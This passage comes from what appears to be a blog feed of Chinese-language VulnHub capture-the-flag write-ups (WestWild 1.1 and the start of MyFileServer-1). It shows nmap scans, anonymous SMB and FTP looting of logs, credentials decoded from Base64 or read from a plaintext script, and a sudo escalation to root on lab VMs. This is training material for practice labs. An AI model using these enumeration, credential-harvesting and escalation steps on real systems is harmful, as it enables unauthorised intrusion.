|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:A8:7A:D8 (VMware)

Host script results:
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;p&gt;访问目标 Web 服务，页面内容简单，查看源码未发现有效信息，仅发现一张背景图片。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506133225667.png&quot; alt=&quot;网站主页截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;网页源码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506133402658.png&quot; alt=&quot;主页源码&quot; /&gt;&lt;/p&gt;
&lt;p&gt;背景图片地址：&lt;code&gt;http://192.168.200.157/bkgro.png&lt;/code&gt;，下载检查后未发现隐写信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506194650710.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对 Web 服务进行目录枚举，未发现有效路径。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506133833755.png&quot; alt=&quot;dirsearch截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Web 方向暂无突破口，转向 SMB 服务继续枚举。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3 SMB 探测&lt;/h2&gt;
&lt;p&gt;由于 Nmap 已确认 SMB 允许 guest 匿名访问，使用 &lt;code&gt;smbclient&lt;/code&gt; 列出共享目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ smbclient -L //192.168.200.157
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        wave            Disk      WaveDoor
        IPC$            IPC       IPC Service (WestWild server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP     
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现名为 &lt;code&gt;wave&lt;/code&gt; 的共享目录，使用 guest 身份匿名连接并列出文件：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506134509120.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目录下存在两个文件，分别下载并分析。&lt;/p&gt;
&lt;h4&gt;SMB 常用命令参考：&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 连接共享（guest 用户）
smbclient //192.168.200.157/共享名 -N

# 指定连接用户
smbclient //192.168.200.157/共享名 -U 用户名

# 进入后的常用命令：
ls                        # 查看文件列表
cd 目录名                  # 进入目录
get 文件名                 # 下载单个文件
get 文件名 /本地/保存路径   # 下载到指定位置
mget *.txt                # 批量下载（支持通配符）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;查看文件&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;FLAG1.txt&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;文件内容为一段字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hash-identifier 没有找到，看格式猜测是 Base64，使用 Base64 解码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506135646464.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这似乎是一个用户的账户和密码，欸是不是SSH等下我们可以试试。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;message_from_aveng.txt&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset  it for me . 
Thank You 
Aveng 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这封信说明系统中存在另一个用户 &lt;code&gt;aveng&lt;/code&gt;，且其密码已丢失，为后续提权阶段埋下伏笔。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506135339758.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;p&gt;不是哥们这就拿下了？？？ 那我们直接可以跳到提权部分了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506140144348.png&quot; alt=&quot;wavex_SSH登入截图&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h3&gt;3.1 信息枚举&lt;/h3&gt;
&lt;p&gt;登入 &lt;code&gt;wavex&lt;/code&gt; 用户后，首先进行基础信息收集，了解当前系统环境。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506140453515.png&quot; alt=&quot;主机基础信息截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确认当前用户为 &lt;code&gt;wavex&lt;/code&gt;，系统为 Ubuntu 14.04，内核版本 4.4.0-142，32 位架构。&lt;/p&gt;
&lt;p&gt;接着检查 sudo 权限、计划任务及 SUID 文件，均未发现可利用点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# sudo 权限
wavex@WestWild:~$ sudo -l
[sudo] password for wavex: 
Sorry, user wavex may not run sudo on WestWild.


# 计划任务
wavex@WestWild:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )

# SUID 文件 
wavex@WestWild:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上路径均无可利用项，转向文件权限枚举。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3.2 发现敏感文件&lt;/h3&gt;
&lt;p&gt;枚举当前用户可写的文件，寻找潜在的敏感信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wavex@WestWild:~$ find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null
/sys/fs/cgroup/systemd/user/1001.user/3.session/tasks
/sys/fs/cgroup/systemd/user/1001.user/3.session/cgroup.procs
/sys/fs/cgroup/systemd/user/1001.user/4.session/tasks
/sys/fs/cgroup/systemd/user/1001.user/4.session/cgroup.procs
/sys/kernel/security/apparmor/policy/.remove
/sys/kernel/security/apparmor/policy/.replace
/sys/kernel/security/apparmor/policy/.load
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.ns_name
/sys/kernel/security/apparmor/.ns_level
/sys/kernel/security/apparmor/.ns_stacked
/sys/kernel/security/apparmor/.stacked
/sys/kernel/security/apparmor/.access
/usr/share/av/westsidesecret/ififoregt.sh   # &amp;lt;-- 重点关注
/home/wavex/.cache/motd.legal-displayed
/home/wavex/wave/FLAG1.txt
/home/wavex/wave/message_from_aveng.txt
/home/wavex/.bash_history
/home/wavex/.profile
/home/wavex/.bashrc
/home/wavex/.viminfo
/home/wavex/.bash_logout
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在结果中发现一个位于非常规路径下的可疑脚本文件：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/usr/share/av/westsidesecret/ififoregt.sh&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;文件名 &lt;code&gt;ififoregt&lt;/code&gt;（&quot;if I forget&quot;）暗示这是一个密码备忘脚本，查看其内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wavex@WestWild:~$ cat /usr/share/av/westsidesecret/ififoregt.sh
#!/bin/bash
figlet &quot;if i foregt so this my way&quot;
echo &quot;user:aveng&quot;
echo &quot;password:kaizen+80&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506192537456.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;文件中明文存储了另一个用户 &lt;code&gt;aveng&lt;/code&gt; 的登录凭据：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用户名&lt;/td&gt;
&lt;td&gt;aveng&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;密码&lt;/td&gt;
&lt;td&gt;kaizen+80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;3.3 横向移动 &amp;amp; 垂直提权&lt;/h3&gt;
&lt;p&gt;利用获取到的凭据切换至 &lt;code&gt;aveng&lt;/code&gt; 用户，并检查其 sudo 权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wavex@WestWild:~$ su aveng
Password:          # 输入 kaizen+80
aveng@WestWild:/home/wavex$ sudo -l
[sudo] password for aveng:
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;aveng&lt;/code&gt; 用户具备完整的 sudo 权限（&lt;code&gt;ALL:ALL&lt;/code&gt;），直接提权至 root：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aveng@WestWild:/home/wavex$ sudo su
root@WestWild:/home/wavex# id
uid=0(root) gid=0(root) groups=0(root)
root@WestWild:/home/wavex# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/WestWild1.1/image-20260506191112306.png&quot; alt=&quot;sudo提权截图&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3.4 提权链总结&lt;/h3&gt;
&lt;p&gt;本次提权路径清晰，分为两个阶段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wavex（低权限用户）
    ↓  find / -writable 枚举可写文件
    ↓  发现 /usr/share/av/westsidesecret/ififoregt.sh
    ↓  读取文件，获得 aveng 用户明文凭据
aveng（普通用户）
    ↓  sudo -l 发现 (ALL:ALL) ALL
    ↓  sudo su
root ✓
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;技术手法&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;信息收集&lt;/td&gt;
&lt;td&gt;&lt;code&gt;find / -writable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;枚举当前用户可写文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横向移动&lt;/td&gt;
&lt;td&gt;明文凭据&lt;/td&gt;
&lt;td&gt;从脚本文件中读取 aveng 密码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;垂直提权&lt;/td&gt;
&lt;td&gt;sudo 滥用&lt;/td&gt;
&lt;td&gt;aveng 拥有无限制 sudo 权限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;超级超级简单的一台机器，不过我还是在提权阶段卡了一下。但是，又学到新的知识点（好开心），下次在提权的时候又多了一条需要找的内容，寻找当前用户可以写权限的文件。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub MyFileServer-1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/12/myfileserver-1/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/12/myfileserver-1/</guid><description>My File Server 1 是一台以文件服务为主题的入门级 VulnHub 靶机，开放了多个网络服务——FTP、SMB、NFS、HTTP——模拟了一个典型的小型文件共享服务器环境。</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;My File Server 1 是一台以文件服务为主题的入门级 VulnHub 靶机，开放了多个网络服务——FTP、SMB、NFS、HTTP——模拟了一个典型的小型文件共享服务器环境。靶机的攻击面较广，信息收集阶段就能获取到大量有效线索，关键路径是通过多个服务之间的信息交叉比对，最终拿到可用凭证，再利用内核漏洞完成提权。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;靶机 IP&lt;/strong&gt;：192.168.200.158&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;靶机官方 URL&lt;/strong&gt;：&lt;a href=&quot;https://www.vulnhub.com/entry/my-file-server-1,432/&quot;&gt;https://www.vulnhub.com/entry/my-file-server-1,432/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载（镜像）&lt;/strong&gt;：&lt;a href=&quot;https://download.vulnhub.com/myfileserver/My_file_server_1.ova&quot;&gt;https://download.vulnhub.com/myfileserver/My_file_server_1.ova&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nmap&lt;/code&gt; — 端口扫描 / 漏洞扫描&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ftp&lt;/code&gt; — FTP 匿名及凭据登录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smbclient&lt;/code&gt; — SMB 枚举与文件下载&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh-keygen&lt;/code&gt; — 本地生成 SSH 密钥对&lt;/li&gt;
&lt;li&gt;&lt;code&gt;searchsploit&lt;/code&gt; — 本地 EXP 搜索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;linpeas.sh&lt;/code&gt; — 本地提权信息自动化收集&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gcc&lt;/code&gt; — 靶机本地 EXP 编译&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开放的服务数量明显多于普通 Web 靶机。&lt;code&gt;rpcbind&lt;/code&gt; 的出现说明有 RPC 服务在运行，后续有必要补一次 UDP 扫描确认是否有额外端口暴露。重点关注对象：FTP（21/2121 双端口）、SMB（445）、NFS（2049）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;21,22,80,111,445,2049,2121,20048&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Nmap scan report for 192.168.200.158
Host is up (0.00032s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.200.142
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable]
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      43254/tcp6  nlockmgr
|   100021  1,3,4      45779/udp6  nlockmgr
|   100021  1,3,4      46152/udp   nlockmgr
|   100021  1,3,4      47088/tcp   nlockmgr
|   100024  1          36116/tcp   status
|   100024  1          36232/tcp6  status
|   100024  1          51332/udp6  status
|   100024  1          60476/udp   status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
445/tcp   open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp  open  nfs_acl     3 (RPC #100227)
2121/tcp  open  ftp         ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can&apos;t get directory listing: ERROR
20048/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:C1:3D:A9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc|router
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X|5.X (97%), Synology DiskStation Manager 5.X (94%), MikroTik RouterOS 7.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 2.6.32 - 3.13 (97%), Linux 3.4 - 3.10 (97%), Linux 2.6.32 - 3.10 (97%), Linux 2.6.39 (97%), Linux 3.10 (95%), Synology DiskStation Manager 5.2-5644 (94%), Linux 2.6.32 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2026-05-07T15:46:20+05:30
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-05-07T10:16:18
|_  start_date: N/A
|_clock-skew: mean: 6h09m56s, deviation: 3h10m29s, median: 7h59m55s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个关键信息直接从详细扫描中读出：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FTP（21 端口，vsftpd）&lt;strong&gt;允许匿名登录&lt;/strong&gt;，且 &lt;code&gt;/pub&lt;/code&gt; 目录对所有人可写&lt;/li&gt;
&lt;li&gt;FTP（2121 端口，ProFTPD 1.3.5）同样允许匿名登录&lt;/li&gt;
&lt;li&gt;SMB 签名未启用（&lt;code&gt;message_signing: disabled&lt;/code&gt;），认证级别为 user 级&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd
MAC Address: 00:0C:29:C1:3D:A9 (VMware)

Host script results:
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SMB 漏洞扫描结果均无直接可利用项，HTTP 层面也未发现明显注入点。漏洞扫描的价值在此阶段较低，重心转向服务枚举。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 FTP 探测&lt;/h2&gt;
&lt;p&gt;在前期 nmap 扫描阶段，发现目标开放了 FTP 服务，且&lt;strong&gt;允许匿名用户登录&lt;/strong&gt;。匿名登录后，可以在 &lt;code&gt;/pub/log&lt;/code&gt; 目录下发现一批 Linux 系统日志文件。由于服务器权限限制，并非所有文件均可下载成功。&lt;/p&gt;
&lt;p&gt;登录 FTP 并批量下载文件的操作如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp 192.168.200.158
# 用户名：anonymous，密码回车跳过
cd /pub/log
binary
prompt
mget *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260507105321471.png&quot; alt=&quot;ftp下载下来的文件&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ftp文件服务器中存放的应该是一整套linux的日志文件，后续我应该需要要对这些日志文件进行日志内容的分析。不过，几个关键日志文件由于权限限制无法下载，因此暂时搁置日志分析，优先继续探测其他服务。(&lt;a href=&quot;https://bypass007.github.io/Emergency-Response-Notes/LogAnalysis/%E7%AC%AC2%E7%AF%87%EF%BC%9ALinux%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90.html&quot;&gt;Linux日志分析教程&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;目标机同时在 &lt;strong&gt;2121 端口&lt;/strong&gt;也开放了 FTP 服务，尝试访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp 192.168.200.158 2121
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录后发现目录结构与 21 端口完全相同，下载权限限制也一致，无法获取更多内容。&lt;/p&gt;
&lt;h2&gt;1.3 SMB 探测&lt;/h2&gt;
&lt;h4&gt;枚举共享目录&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;smbclient&lt;/code&gt; 枚举目标机的 SMB 共享：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -L //192.168.200.158 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出结果显示存在以下共享：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260508195157142.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过匿名登录 &lt;code&gt;smbdata&lt;/code&gt; 共享目录，发现其中存放的文件与 FTP &lt;code&gt;/pub/log&lt;/code&gt; 完全一致。尝试下载文件，神奇的是 &lt;strong&gt;SMB 没有权限限制，可以将所有文件完整下载&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient //192.168.200.158/smbdata -N
smb: \&amp;gt; prompt
smb: \&amp;gt; mget *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功下载的关键文件包括：&lt;code&gt;secure&lt;/code&gt;、&lt;code&gt;sshd_config&lt;/code&gt;、&lt;code&gt;wtmp&lt;/code&gt;、&lt;code&gt;lastlog&lt;/code&gt;、&lt;code&gt;messages&lt;/code&gt; 等。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260508195246092.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;日志文件分析&lt;/h4&gt;
&lt;p&gt;拿到完整日志包后，按信息价值优先级逐个分析。&lt;/p&gt;
&lt;h5&gt;分析 secure&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;secure&lt;/code&gt; 是 CentOS/RHEL 系统的认证日志，记录所有登录尝试、用户创建和密码修改事件，是提取用户名线索的首选来源。提取其中的关键记录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;useradd\|passwd\|Accepted\|Invalid user&quot; secure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现如下关键条目：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Feb 18 17:16:39 localhost useradd[2389]: new group: name=smbuser, GID=1000
Feb 18 17:16:39 localhost useradd[2389]: new user: name=smbuser, UID=1000, GID=1000, home=/home/smbuser, shell=/bin/bash
Feb 18 17:17:09 localhost passwd: pam_unix(passwd:chauthtok): password changed for smbuser
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;日志明确显示系统创建了一个名为 &lt;code&gt;smbuser&lt;/code&gt; 的用户，并随后修改了该用户的密码。这为后续的凭证尝试提供了重要的用户名线索。（ &lt;code&gt;smbuser:chauthtok&lt;/code&gt;）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如需系统性地从日志中提取所有出现过的用户名，可以用以下方式整合多个来源：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 从 secure 提取
grep -oP &quot;(?&amp;lt;=for )\w+&quot; secure | sort -u

# 从登录历史提取（wtmp/btmp 是二进制文件，需用专用命令读取）
last -f wtmp | awk &apos;{print $1}&apos; | sort -u
lastb -f btmp | awk &apos;{print $1}&apos; | sort -u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;xferlog&lt;/code&gt;（FTP 传输日志）中还发现了一条有趣记录，显示有人曾通过 FTP 传输过 &lt;code&gt;/pub/passwd&lt;/code&gt; 文件。值得回头确认该文件是否还在服务器上。&lt;/p&gt;
&lt;hr /&gt;
&lt;h5&gt;分析 sshd_config&lt;/h5&gt;
&lt;p&gt;下载到的 &lt;code&gt;sshd_config&lt;/code&gt; 中有几个值得关注的配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PermitRootLogin yes          # root 账户允许 SSH 登录
PasswordAuthentication no    # 但密码登录已被禁用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着 SSH &lt;strong&gt;只接受密钥认证&lt;/strong&gt;，密码直接登录的路线行不通。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh root@192.168.200.158
# root@192.168.200.158: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果符合预期，密码认证被拒绝。那么接下来的目标，是&lt;strong&gt;找到或写入一个可用的 SSH 密钥&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/MyFileServer-1/image-20260508195328288.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.4 Web 探测&lt;/h2&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
